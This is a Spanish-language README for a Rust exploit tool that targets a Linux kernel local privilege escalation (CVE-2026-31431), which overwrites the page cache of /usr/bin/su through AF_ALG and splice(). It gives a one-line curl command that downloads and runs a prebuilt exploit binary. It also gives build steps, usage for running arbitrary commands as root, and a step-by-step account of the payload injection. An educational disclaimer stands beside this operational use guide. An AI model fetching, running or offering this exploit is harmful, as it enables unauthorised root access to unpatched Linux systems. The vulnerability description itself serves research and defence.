copyfail-rs

Exploit Copy Fail (CVE-2026-31431) pero en Rust, una vulnerabilidad crítica que encadena AF_ALG y splice() para lograr una escritura de 4 bytes en la caché de páginas, lo que conduce a una escalada de privilegios local en las principales distribuciones de Linux.

Basado en la investigación y el PoC de Xint Code.

Aviso legal

[!CAUTION] Este proyecto es solo con fines educativos y de investigación. Ejecutar este exploit en sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal y poco ético. Usa este código de manera responsable para comprender y defenderte contra vulnerabilidades similares.

Características

• Rust puro: Una implementación de alto rendimiento y segura en memoria del PoC original en Python.
• Constructor dinámico de ELF: Construye programáticamente la carga útil del exploit en tiempo de ejecución, lo que permite comandos personalizados.
• Explotación de copia cero: Interactúa directamente con las llamadas al sistema AF_ALG y splice() del kernel de Linux a través de libc.
• Personalizable: Especifica el comando que deseas ejecutar como root mediante argumentos de línea de comandos.

Inicio rápido (una línea)

Puedes descargar y ejecutar el binario PoC precompilado directamente:

curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs

Requisitos previos

• Un kernel de Linux vulnerable a CVE-2026-31431 (normalmente kernels anteriores al parche de abril de 2026).
• Acceso a un binario objetivo con permisos de lectura (por defecto es /usr/bin/su).

Instalación

Clona el repositorio y compila el binario:

git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release

Uso

Ejecuta el exploit sin argumentos para usar /bin/sh por defecto:

./target/release/copyfail-rs

O especifica un comando personalizado para ejecutar como root:

./target/release/copyfail-rs "whoami > /tmp/pwned"

Cómo funciona

El exploit aprovecha un error en la implementación de authencesn dentro de la API Crypto del kernel de Linux (AF_ALG). Al encadenar sendmsg con MSG_MORE y splice(), es posible sobrescribir pequeños fragmentos de la caché de páginas de archivos arbitrarios (como /usr/bin/su) con una carga útil ELF maliciosa.

1. Configuración del socket: Crea un socket AF_ALG y lo vincula a authencesn(hmac(sha256),cbc(aes)).
2. Generación de la carga útil: Construye un ELF mínimo en memoria que ejecuta el comando objetivo con privilegios de root.
3. Inyección en caché: Inserta iterativamente la carga útil en la caché de páginas del archivo objetivo mediante la vulnerabilidad de AF_ALG.
4. Activación: Ejecuta el archivo objetivo modificado, ejecutando el shellcode inyectado.

Referencias

• Publicación original del blog - Xint Code
• Detalles de CVE-2026-31431